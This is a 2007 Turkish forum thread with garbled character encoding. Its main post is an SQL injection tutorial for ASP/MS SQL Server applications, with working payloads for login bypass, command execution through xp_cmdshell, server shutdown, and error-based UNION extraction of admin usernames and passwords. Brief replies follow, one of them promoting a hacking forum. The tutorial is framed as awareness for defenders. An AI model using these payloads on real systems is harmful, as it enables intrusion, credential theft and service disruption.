Would you like to react to this message? Create an account in a few clicks or log in to continue.


 
AnasayfaAnasayfa  AramaArama  Latest imagesLatest images  Kayıt OlKayıt Ol  Giriş yap  

 

 >>> SQL Açıkları <<<

Aşağa gitmek 
3 posters
YazarMesaj
tr_aksaray_tr

tr_aksaray_tr


Mesaj Sayısı : 133
Yaş : 32
Kayıt tarihi : 12/11/07

>>> SQL Açıkları <<< Empty
MesajKonu: >>> SQL Açıkları <<<   >>> SQL Açıkları <<< Icon_minitimePtsi Kas. 12, 2007 1:17 am

Dünyan&yacute;n her taraf&yacute;nda, kullan&yacute;c&yacute;lar&yacute;na; kredi kart&yacute; numaralar&yacute;, kullan&yacute;c&yacute; bilgileri gibi gizli kalmas&yacute; gereken bilgilerin, ürünlere ve sipari&thorn;lere ait verilerin sakland&yacute;&eth;&yacute; uç-arka veri depolar&yacute;yla hizmet veren web siteleri bulunmaktad&yacute;r. Ve genel olarak, web sitelerindeki form arac&yacute;l&yacute;&eth;&yacute; ile al&yacute;nan girdi ile veritaban&yacute;ndaki bilgiler filtrelendikten sonra sonucu kullan&yacute;c&yacute;ya gönderen bu tür sistemlerde Yap&yacute;sal Sorgulama Dili (Structured Query Language - SQL) kullan&yacute;lmaktad&yacute;r. Uygulama içerisinde kullan&yacute;lacak parametre de&eth;erleri al&yacute;n&yacute;rken kullan&yacute;lan formun SQL Deyimini yeniden yap&yacute;land&yacute;rabilecek baz&yacute; özel karakterlere izin vermesiyle güvenlik problemleri ortaya ç&yacute;kmaktad&yacute;r.

Bu güvenlik problemleri kullan&yacute;larak bir uygulaman&yacute;n arkas&yacute;nda, bu uygulamaya destek veren veri taban&yacute; üzerindeki bütün bilgilere ula&thorn;&yacute;labilir veya bilgiler üzerinde de&eth;i&thorn;iklik yap&yacute;labilir. Veya veri taban&yacute; sisteminin komutlar&yacute; kullan&yacute;larak kullan&yacute;lan sunucular üzerinde uygulama harici istenen i&thorn;lemler de yap&yacute;labilir. Bu problemlerden korunmak için de uygulama girdilerini bu tür karakterlere kar&thorn;&yacute; kontrol eden fonksiyonlar&yacute;n kullan&yacute;lmal&yacute; ve geni&thorn; çapl&yacute; uygulamalar&yacute;n bu güvenlik aç&yacute;klar&yacute;n&yacute; ta&thorn;&yacute;y&yacute;p ta&thorn;&yacute;mad&yacute;&eth;&yacute;n&yacute; anlamak için güvenlik denetimine tabi tutulmal&yacute;d&yacute;r..
&Yacute;lgilendiren Sektör ve &THORN;irketler:
&l8226; Özel olarak geli&thorn;tirilmi&thorn; uygulamalar kullanan tüm kurum ve kurulu&thorn;lar
&l8226; Internet / Intranet üzerinde uygulama geli&thorn;tiren kurulu&thorn;lar

1. Bir Uygulama Güvenli&eth;i Problemi - "Yap&yacute;sal Sorgulama Dili Kullan&yacute;m&yacute;"
Yap&yacute;sal Sorgulama Dili SQL&l039;in uygulamalarda kullan&yacute;m&yacute;na örnek vermek gerekirse;

SELECT Name, Address FROM Users WHERE UserID = &l039;2081&l039;

&THORN;eklindeki SQL Deyimi "Users" adl&yacute; tablodan "2081" ürün ID si ile veritaban&yacute;na kay&yacute;tl&yacute; olan ki&thorn;iye ait olan isim ve adres bilgilerini dönecektir. Bu noktada muhtemel zay&yacute;fl&yacute;k, kullan&yacute;lan formun SQL Deyimini yeniden yap&yacute;land&yacute;rabilecek baz&yacute; özel karakterlere izin vermesiyle ortaya ç&yacute;kmaktad&yacute;r. Çözümü ise girdilerden bu özel karakterlerin filtrelenmesini sa&eth;layan fonksiyonlard&yacute;r.

H&yacute;zla geli&thorn;en internet teknolojileri kar&thorn;&yacute;s&yacute;nda yeni pazarda geç olmadan yerini almak isteyen mü&thorn;terilerine daha k&yacute;sa sürede daha kullan&yacute;&thorn;l&yacute; ve ucuz çözümler sunmak zorunda olan uygulama geli&thorn;tiriciler bu süreçte güvenlik gibi önemli bir faktörü ikinci plana atmaktad&yacute;rlar.

Giderek yayg&yacute;nla&thorn;an ve medyan&yacute;n haber potansiyelini olu&thorn;turan; çal&yacute;nan kredi kart&yacute; numaralar&yacute;, yer alt&yacute; sitelerde da&eth;&yacute;t&yacute;lan mü&thorn;teri bilgileri, &thorn;irket projeleri - yaz&yacute;&thorn;malar&yacute; yakla&thorn;an tehlikenin habercisi olmakla beraber halen bu tür kay&yacute;plar&yacute;n yaratabilece&eth;i maddi sonuçlar&yacute; kavrayamayan ve hala "az maliyetle kurtar&yacute;lan güvenlik projeleri" &l039;yle övünen yöneticilere uyar&yacute; niteli&eth;i ta&thorn;&yacute;maktad&yacute;r. Öyleki -herzaman bir ad&yacute;m önde olmay&yacute; amaçlayan- sald&yacute;rganlar güvenli&eth;in en üst seviyede olmas&yacute; beklenen devlet siteleri de dahil olmak üzere pek çok sisteme yönelik sald&yacute;r&yacute;lar&yacute;na da ara vermeksizin devam etmektedirler.

Maddi ve manevi de&eth;ere sahip &thorn;irketinizi bir anlamda i&thorn; ortaklar&yacute;n&yacute; olan uygulama geli&thorn;tiricilerin haz&yacute;rlad&yacute;klar&yacute; uygulama ürünlerine emanet edildi&eth;ini dü&thorn;ünürsek, "uygulamalar&yacute;n&yacute;za ne kadar güvenirsiniz?" gibi bir soruya verilecek cevap büyük önem ta&thorn;&yacute;maktad&yacute;r.

Böyle bir ortamda uygun güvenlik çözümü için ayr&yacute;lm&yacute;&thorn; bütçe bir lüks de&eth;il her an yap&yacute;labilecek bir sald&yacute;r&yacute;da &thorn;irketin u&eth;rayaca&eth;&yacute; zarar&yacute; ortadan kald&yacute;rmak için al&yacute;nmas&yacute; gereken önlem niteli&eth;i ta&thorn;&yacute;maktad&yacute;r.
2. Örnek Sald&yacute;r&yacute;lar - "Yap&yacute;lacak Hamleleri Önceden Tahmin Edebilmek..."
Güvenlikte s&yacute;kça kullan&yacute;lan bir deyim; "Sald&yacute;rganlardan korunabilmek için onlar gibi dü&thorn;ünmelisiniz!..". Sald&yacute;rgan&yacute;n sisteminize girmek için kullanabilece&eth;i yöntemleri bilmek bu sald&yacute;r&yacute;lardan korunabilmek için al&yacute;nan önlemleri daha sa&eth;l&yacute;kl&yacute; k&yacute;lacakt&yacute;r.


Örneklerde kullanaca&eth;&yacute;m&yacute;z hedef ; Microsoft® Internet Information Server&l8482;&l039; dan Microsoft® SQL Server&l8482;&l039;a varsay&yacute;lan sistem hesab&yacute;&l039;ndan (sa) ba&eth;lanan ASP tabanl&yacute; bir kullan&yacute;c&yacute; hesab&yacute; yöneticisi olacak.
Form.asp : Username ve Password girdisini alan form.Solda...
Login.asp : Veritaban&yacute; ile ba&eth;lant&yacute;ya geçen ve girdinin do&eth;rulu&eth;unu kontrol eden ASP kodu.

2.1. Kötü Amaçl&yacute; (&l039;) &Yacute;mleçleri Yard&yacute;m&yacute;yla &Yacute;zinsiz Giri&thorn; Sa&eth;lama:

Kullan&yacute;c&yacute; "Username" & "Password" verisini Login.asp ye yollad&yacute;ktan sonra .asp kodunun yapaca&eth;&yacute; i&thorn; verilen yoldaki veritaban&yacute; ile ba&eth;lant&yacute; kurup ilgili tabloda Username ve Password sütünlar&yacute;nda gönderilen verinin do&eth;rulu&eth;unu kontrol etmek olacakt&yacute;r. Bu i&thorn;lem sonucunda e&eth;er sonuç olumluysa kullan&yacute;c&yacute;ya; "Giri&thorn; Yap&yacute;ld&yacute;" olumsuzsa; "Geçersiz Kullan&yacute;c&yacute;ad&yacute; & &THORN;ifre" mesaj&yacute; verilecektir.
Örnekleyecek olursak;

Username : ilkay
Password : 2081

&THORN;eklindeki kullan&yacute;c&yacute; girdisi a&thorn;a&eth;&yacute;daki SQL Deyimini olu&thorn;turacakt&yacute;r;

SELECT count(*) FROM Users WHERE Username = &l039;ilkay&l039; AND Password = &l039;2081&l039;

&Yacute;lk bak&yacute;&thorn;ta sorun olmayan bir SQL Deyimi... Fakat sald&yacute;rgan&yacute;n;

Username : ilkay
Password : &l039; OR 1=1--

&THORN;eklindeki girdilerle olu&thorn;turaca&eth;&yacute; SQL Deyimi ise;

SELECT count(*) FROM Users WHERE Username = &l039;ilkay&l039; AND Password = &l039;&l039; OR 1=1 --&l039;

Olacakt&yacute;r ki, bu durumda giri&thorn;in sa&eth;lanmas&yacute; için &thorn;art "ilkay" kullan&yacute;c&yacute; ad&yacute;na ait &thorn;ifrenin hiçbir&thorn;ey* olmas&yacute; veya ikinci bir opsiyon olarak 1=1 e&thorn;itli&eth;inin sa&eth;lanmas&yacute;d&yacute;r.

* Hiçbi&thorn;ey = Bo&thorn;luk

Sonuç : 1=1 e&thorn;itli&eth;i sa&eth;land&yacute;&eth;&yacute;na göre sald&yacute;r&yacute; ba&thorn;ar&yacute;yla sonuçlanacak ve "Giri&thorn; Yap&yacute;ld&yacute;" mesaj&yacute; verilecektir.

Not : Microsoft® SQL Server&l8482; "--" imlecinden sonra gelen yersiz kullan&yacute;lm&yacute;&thorn; t&yacute;rnak i&thorn;aretlerini göz ard&yacute; edecektir. &Yacute;lk bak&yacute;&thorn;ta basit gibi görünen ve sadece SQL Server&l039;a ait olan bu özellik ilerde örneklerden de anla&thorn;&yacute;laca&eth;&yacute; üzere sald&yacute;rgana büyük kolayl&yacute;k sa&eth;layacakt&yacute;r..

2.2. Uzaktan Çal&yacute;&thorn;t&yacute;r&yacute;lmas&yacute; Mümkün Olan Prosedürler:

MS SQL Server&l039;a varsay&yacute;lan sistem hesab&yacute;ndan yapt&yacute;&eth;&yacute;m&yacute;z ba&eth;lant&yacute; SQL Enjeksiyon sald&yacute;r&yacute;s&yacute;nda muhtemel sald&yacute;rgana sunucuda saklanan prosedürleri çal&yacute;&thorn;t&yacute;rabilmesi için gerekli haklar&yacute; tan&yacute;yacakt&yacute;r. Sald&yacute;rgan&yacute;n kullanabilece&eth;i prosedürlerden bir tanesi; "master..xp_cmdshell" olabilir.

Username : ilkay
Password : &l039;; EXEC master..xp_cmdshell &l039;dir c:&l039;--

Girdileriyle olu&thorn;acak SQL Deyimi;

SELECT count(*) FROM Users WHERE Username = &l039;ilkay&l039; AND Password = &l039;&l039;; EXEC master..xp_cmdshell &l039;dir c:&l039;--&l039;

Sonuç : SQL Server Kullan&yacute;c&yacute;ad&yacute; ve &THORN;ifreyi bulunduran sütunlar&yacute; arayacakt&yacute;r bulamad&yacute;&eth;&yacute; için "Yanl&yacute;&thorn; Kullan&yacute;c&yacute;ad&yacute; & &THORN;ifre" mesaj&yacute;n&yacute; verecektir fakat bu arada arka planda "dir c:" komutunu çal&yacute;&thorn;t&yacute;racak ve sald&yacute;rgan C sürücüsünün içeri&eth;ine ula&thorn;acakt&yacute;r.
2.3. SQL Server Hedef Al&yacute;narak Yap&yacute;lan Sald&yacute;r&yacute;lar:

Yönetici haklar&yacute;na sahip sald&yacute;rgan silme,ekleme,de&eth;i&thorn;tirme...vb gibi komutlar&yacute; rahatl&yacute;kla çal&yacute;&thorn;t&yacute;rabilecektir.

SHUTDOWN WITH NOWAIT SQL Server&l039;&yacute;n kritik komutlar&yacute;ndan bir tanesidir. Komutla beraber SQL Server görevine son verir.

Username : &l039;; SHUTDOWN WITH NOWAIT--
Password : [Bo&thorn;]

Bu girdilerle olu&thorn;turulan SQL Deyimi;

SELECT Username FROM Users WHERE Username=&l039;&l039;; SHUTDOWN WITH NOWAIT; --&l039; AND Password=&l039;&l039;

Sonuç : SQL Server kullan&yacute;c&yacute;ad&yacute;n&yacute;n bulunamad&yacute;&eth;&yacute; mesaj&yacute;n&yacute; verecektir. Fakat bununla beraber arka planda di&eth;er komutu çal&yacute;&thorn;t&yacute;rd&yacute;&eth;&yacute; için SQL Server kapanacakt&yacute;r.
2.4. ODBC Hatalar&yacute;ndan Faydalanarak Yap&yacute;lan Sald&yacute;r&yacute;lar:

SQL Server&l039;&yacute;n verdi&eth;i hatalardan faydalanarak veritaban&yacute;ndaki neredeyse tüm bilgilere ula&thorn;mak mümkündür.

Hedef; http://Victim/Default.asp?id=10 &thorn;eklinde ürün ID leri ile çal&yacute;&thorn;an ASP tabanl&yacute; bir websitesi.

Sald&yacute;r&yacute; SQL Server&l039;&yacute;n integer ve string cinsinden verileri birlikte gönderememesinden faydal&yacute;narak yap&yacute;labilir;

Gönderilen &l039;10&l039; say&yacute;s&yacute;na veritaban&yacute;ndan herhangi bir string eklenir.

http://Victim/Default.asp?id=10 config.asp

Not: "INFORMATION_SCHEMA.TABLES" sistem tablosu, sistemde bulunan di&eth;er tüm tablolar hakk&yacute;nda bilgi içerir. Deyimde kullan&yacute;lan "TABLE_NAME" de yine tüm tablo isimlerini içerir.

Olu&thorn;acak SQL Deyimi;

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

String -> Integer dönü&thorn;ümünü yapamayan SQL Server a&thorn;a&eth;&yacute;daki hatay&yacute; verecektir.

Microsoft OLE DB Provider for ODBC Drivers error &l039;80040e07&l039;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &l039;Table1&l039; to a column of data type int.
/Default.asp, line 5

Hata, sald&yacute;rgana "Table1" olarak buldu&eth;u cevab&yacute; integer a çeviremedi&eth;ini (dolay&yacute;s&yacute;yla veritaban&yacute;ndaki ilk tablo ad&yacute;n&yacute;n "Table1" oldu&eth;unu) belirtmektedir. Sald&yacute;rgan di&eth;er tablolar&yacute;n ad&yacute;n&yacute; a&thorn;a&eth;&yacute;daki &thorn;ekilde ö&eth;renebilir...

http://Victim/Default.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (&l039;Table1&l039;)--

Veya do&eth;rudan LIKE komutunu kullanarak arad&yacute;&eth;&yacute; &thorn;eye daha kolay yoldan ula&thorn;abilir;

http://Victim/Default.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE &l039;%25Login%25&l039;--

SQL Server&l039;&yacute;n verece&eth;i hata;

Microsoft OLE DB Provider for ODBC Drivers error &l039;80040e07&l039;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &l039;Admin_Login&l039; to a column of data type int.
/Default.asp, line 5

Admin_Login ad&yacute;nda bir tablo oldu&eth;unu ö&eth;renen sald&yacute;rgan muhtemelen tablodaki ilk kullan&yacute;c&yacute;ad&yacute; ve &thorn;ifreye ula&thorn;mak isteyecektir. &Yacute;zleyebilece&eth;i yol ise;

http://Victim/Default.asp?id=10 UNION SELECT TOP 1 Username FROM Admin_Login--

Hata;

Microsoft OLE DB Provider for ODBC Drivers error &l039;80040e07&l039;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &l039;ilkay&l039; to a column of data type int.
/Default.asp, line 5

Bu &thorn;ekilde "admin" kullan&yacute;c&yacute;ad&yacute;n&yacute;n varl&yacute;&eth;&yacute;n&yacute; do&eth;rulayan sald&yacute;rgan&yacute;n &thorn;ifreyi ele geçirmek için kullanaca&eth;&yacute; girdi;

http://Victim/Default.asp?id=10 UNION SELECT TOP 1 Password FROM Admin_Login WHERE Username=&l039;ilkay&l039;--

Hata;

Microsoft OLE DB Provider for ODBC Drivers error &l039;80040e07&l039;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &l039;2081&l039; to a column of data type int.
/Default.asp, line 5

Sonuç :
Username : ilkay
Password : 2081
Sayfa başına dön Aşağa gitmek
shark
Süper Moderatör
Süper Moderatör
shark


Mesaj Sayısı : 290
Kayıt tarihi : 11/11/07

>>> SQL Açıkları <<< Empty
MesajKonu: Geri: >>> SQL Açıkları <<<   >>> SQL Açıkları <<< Icon_minitimeCuma Kas. 16, 2007 2:49 pm

Yanlış yere açılmış taşınsın lütfen Wink
Sayfa başına dön Aşağa gitmek
b.e.c
Misafir




>>> SQL Açıkları <<< Empty
MesajKonu: Geri: >>> SQL Açıkları <<<   >>> SQL Açıkları <<< Icon_minitimePaz Kas. 18, 2007 4:27 am

Lan bEN KeskingoZ Bu Admine Uymayın Arkadaşlar bu Salak Admin Bi Boktan Çaktığı Yok 10 tane hesap açtım nerdeyse hep ban İpte ban salak olduğu içinde benim ip değiştirecemi bilmyor herkesi bekliyorum www.masterhackersteam.forumotion.com
Sayfa başına dön Aşağa gitmek
seyhzade

seyhzade


Mesaj Sayısı : 1
Yaş : 39
Kayıt tarihi : 13/04/08

>>> SQL Açıkları <<< Empty
MesajKonu: Geri: >>> SQL Açıkları <<<   >>> SQL Açıkları <<< Icon_minitimePaz Nis. 13, 2008 12:34 pm

burda nedenmek istiyor_?
Sayfa başına dön Aşağa gitmek
 
>>> SQL Açıkları <<<
Sayfa başına dön 
1 sayfadaki 1 sayfası
 Similar topics
-

Bu forumun müsaadesi var:Bu forumdaki mesajlara cevap veremezsiniz
 :: İhbar Bölümü & Üye Problemler :: İhbar Hattı-
Buraya geçin: